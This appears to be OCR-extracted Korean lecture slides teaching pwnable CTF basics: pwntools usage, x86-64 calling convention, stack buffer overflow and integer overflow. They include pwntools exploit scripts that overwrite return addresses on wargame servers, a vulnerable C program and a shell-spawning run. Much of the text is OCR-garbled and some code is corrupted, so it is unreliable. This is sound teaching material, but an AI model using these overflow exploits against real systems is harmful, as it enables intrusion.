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PwnableO|gt B2=27|& gf
(pwn + able)
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Pwntools

Pwntools .': El'fqé StA0| M A S
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Pwntools

sudo apt update

sudo apt install python3 python3-pip python3-dev git libssl-dev
libffi-dev build-essential

pip3 install pwntools
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Pwntools
00

from pwn import *

from pwn import *
pwntools 2= import
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Pwntools

from pwn import *

P
r

process('file path')
remote( "host', port)

process( file_path) - ZTZ2 134 AlSH

remote("host",port) - A{tH A
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Pwntools

00 ex ) binary = ./test
from pwn import * process(./test)

, ex ) server = asdasd.com:8080
process('file path')

; remote(*host®, port) remote('asdsad.com,8080)

r\
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Pwntools

data y.recv(1024)

data .recvline()

data y.recvn(5)

data .recvuntil(b'hello"')

data ).recvall()

SCA



Pwntools

)y.send(b'A') # ./example0
.sendline(b'A') # ./examp
.sendafter(b'hello', b'A')

.sendlineafter(b'hello', b'A')

SCA



Pwntools

from pwn importx

D = process('./example')

p.interactive()
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Pwntools

from pwn import *

P64 (0x50)
p32(0x50)

p64 - 8HIO|E 2|SAUC|A Hto|
p32 - 4HIO|E 2]EATIX Hto|
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Pwntools

from pwn import *

data = p64(0x401156)
print(data)
# b'Vix11§\x08\x80\ x88" x80\ x08

addr = uwbd(data)
print(hex(addr))
# Ox491156

u64 - 8HiO|E 2|SU A HIO|ES B+= Het
u32 - 4H}0|E 2|E9QIC|NH HIO|EE A 2 HE}
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EIAE =X =2

https://wargame.swua.kr/challenges/28
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Pwntools

2, B2

addition-quiz
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Pwntools
00

from pwn import *

p remote("host3.dreamhack.games™, 8372)

for 1 in range(0,50):
numl = int(p.recvuntil("+")[:-1])

num2 = int(p.recvuntil("=")[:-1])
p.sendlineafter("?\n",str(numl+num2))

p.interactive()
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Calling Convention

It =52 W AUXE o{4of IP‘*EP , Aretgie ool XZFol,
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Calling Convention

=M il | = RIS
18N arg1 ROI
28N arg2 RST
3Ry arg3 RDX
4E T arg4 RCX
5t Wy arg5 RB
6N argh RS
grx il return value BAX

SCA



Calling Convention

rdi rsi rdx

.
func(l, 2, 3);

SCA



Calling Convention

mov rdi, 1; 1THTH 21X} a =1
mov rsi, 2 ; 28T CIXt b = 2
mov rdx, 3 ; 3¢ CIXt c = 3
call func; func(1, 2, 3) &&
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StackBuffer Overflow

T A M (pop) —

Agio| 2|NT 4.8 HA

MR 2B SHEF (bottom)
7 BA Aol g4

ARHE SUME(LIFO) 2HAlO =2 ZAMGHH,
AE(Stack)0[2h? |

SQIMZ(LIFO, Last In First Out) §%|8 2= Xig72x | it-tl e e nd i a n %l‘ A_| @) E a*l_ O ‘ A‘l gl- .l_'l.'_l_l ,I' _
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12345678 123456738
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StackBuffer Overflow
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StackBuffer Overflow

12345678—)(’5_ u-#t%',*)
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S GlO|E{Q BH AXIE He 2.
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StackBuffer Overflow

L2 2 AT o Z2|ol| S2F2PCt.
27 HIO|E2t R E= Nmot 245 JHE
ex) 0x401000 — 2 E H4H
Ox7fffffffe000 — ABH HH
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StackBuffer Overflow

+—— rbp-0x30

Ox30

¢ D

SFP

4 rbp + Ox8
return address

SFP = O| ™ ABH Img||elo] =A
retaddr = b= Alslist A E X A
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StackBuffer Overflow

+—— rbp-0x30

Ox30

4 rbp

SFP

4 rbp + Ox8
return address

retaddr2 227} {ol= [ CEQ| ZAZ HXA|Z|H?
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StackBuffer Overflow

https://wargame.swua.kr/challenges/32
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StackBuffer Overflow

=== Stack Frame BOF Practice ===
This program shows the stack frame before and after input.
Try to overwrite the return address.

[Before input]

———————————— Sta':k Fr‘amE \.Ir:i_E'N' =mm======

rsp = @x7ed1986babed
rbp = @x7ed1986baces
buf = @x7ed1986babed

saved rbp location = @x7ed1966bacoo
return addr location= 8x7ed1986bact3d

saved rbp value = @x7ed1986bacld
return addr value = @xd@l7ed
win() address = @x481196

[5tack memory around buf]

Bx7ed1986babdd : 8x0000000000483218

Bx7ed1986babdd : Gx000000000048146e

Bx7ed1986babed : Gx0000000000000008 <- buf start
Bx7ed1986babe8 : BxB00687e2d1986bacld

Bx7ed1986babf@ : Gx000887=d1986bad28

Bx7ed1986babfa : Gx00000000004817ac

Bx7ed1966baced : @xo0ed7ed1986bacl® <- saved rbp / SFP
Bx7ed1986bactd : Gx00000000004817ed <- return address
Bx7ed1986bacld : GxBO00B00000008061

Bx7ed1986bacld : 6x00087eabfo70bdos



StackBuffer Overflow

from pwn import *

p = remote( 175.193.244.182 , 10001)
payload = p64(0x401196)*6
p.send(payload)

p.interactive(j

SCA



StackBuffer Overflow

e Stﬂck Fr‘HmE lII.Ir:i_E'hr e

rsp = @x7ed1986babed
rbp = @x7ed1966bache
buf = @x7ed1986babed

saved rbp location = é@x7ed1986bacoe
return addr location= @x7ed1986baces

saved rbp value = @x481196
return addr value = 8x481196
win() address = @x481196

[5tack memory around buf]

Bx7ed1986babd® : 8x0BB088080048318

Bx7ed1006babdg : GxO0000000068481755

Bx7ed1986babe : Bx0000000008481196 <- buf start
Bx7ed1986babe8 : BxO00B00000004811906

Bx7ed1906babfe : Gx0000008008481196

Bx7ed1986babfs : ExO0B0000000481196

Bx7ed1986baced : Gx0800080008481196 <- saved rbp / SFP
Bx7ed1986baced : Ox0800080008481196 <- return address
Bx7ed1006bacld : GxO0B000R080000001

Bx7ed1986bacld : GxBe087=a8f678bdog

Returning from vuln()...

[+] You reached win()!

FLAG{sample stack frame bof} S C I \



StackBuffer Overflow

4, B4

Return Address Overwrite
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StackBuffer Overflow

If exploited:

Is
cat flag

get_shell £4:

0x40062a
SCA



StackBuffer Overflow

#include <stdio.h>
#include <unistd.h>

void init() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, @, 2, 0);

08861c22-4c49-4a28-988f-2¢

void get shell() {
o s (2971 C char *cmd = "/bin/sh";
char *args[] = {cmd, NULL};

execve(cmd, args, NULL);

int main() {
char buf[@x28];

init();

printf(~Input: =);
scanf("%s", buf);

return 0;

SCA



StackBuffer Overflow

#include <stdio.h>
#include <unistd.h>

void init() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, @, 2, 0);

08861c22-4c49-4a28-988f-2¢

void get shell() {
o s (2971 C char *cmd = "/bin/sh";
char *args[] = {cmd, NULL};

execve(cmd, args, NULL);

int main() {
char buf[@x28];

init();

printfieiaout: ");
Scanf llCl'oSll bu_F);

return 0;

SCA



StackBuffer Overflow

from pwn import *

p = remote("host3.dreamhack.games"”, 19663)
e = ELF('rao’)

shell = e.symbols['get shell’]
payload = b"A"™ * 48

payload += b"B" * 8

payload += p64(shell)

p.sendline(payload)

p.interactive()

SCA
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StackBuffer Overflow

ph1111p@DESKTOP-3LHD5QI: /mnt/c/Users/Z! & 2! /Downloads/08861c22-Ucl9-Ua28-988F-297575aa6837$ python3 a.py
[+] Opening connection to host3.dreamhack.games on port 19663: Done
[*] '/mnt/c/Users/Zd & 2 /Downloads/08861c22-UcUd9-U4a28-988f-297575aa6837/rao’
Arch: amdéu-6U-little
RELRO: Partial RELRO
Stack:
NX:
PIE:
Stripped:
[*] Switching to interactive mode
Input: $ 1s
flag
rao
run.sh
$ cat flag
DH { I }

s i
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Integer Overflow

ML 2

ex ) 10, -3 ,0,etc

SCA



Integer Overflow

+ unsigned = 22 M2
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Integer Overflow
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Integer Overflow

signed int : ~2147483648 ~ 2147483647

unsigned int : @ ~ 4294967295

SCA



Integer Overflow

SCA



Integer Overflow

SCA



Integer Overflow

AHIO|E 2|&
-1 = OxFHFfeeee
unsigned Oxfftfffff= 4294967295
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unsigned char
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Integer Overflow

https://wargame.swua.kr/challenges/34
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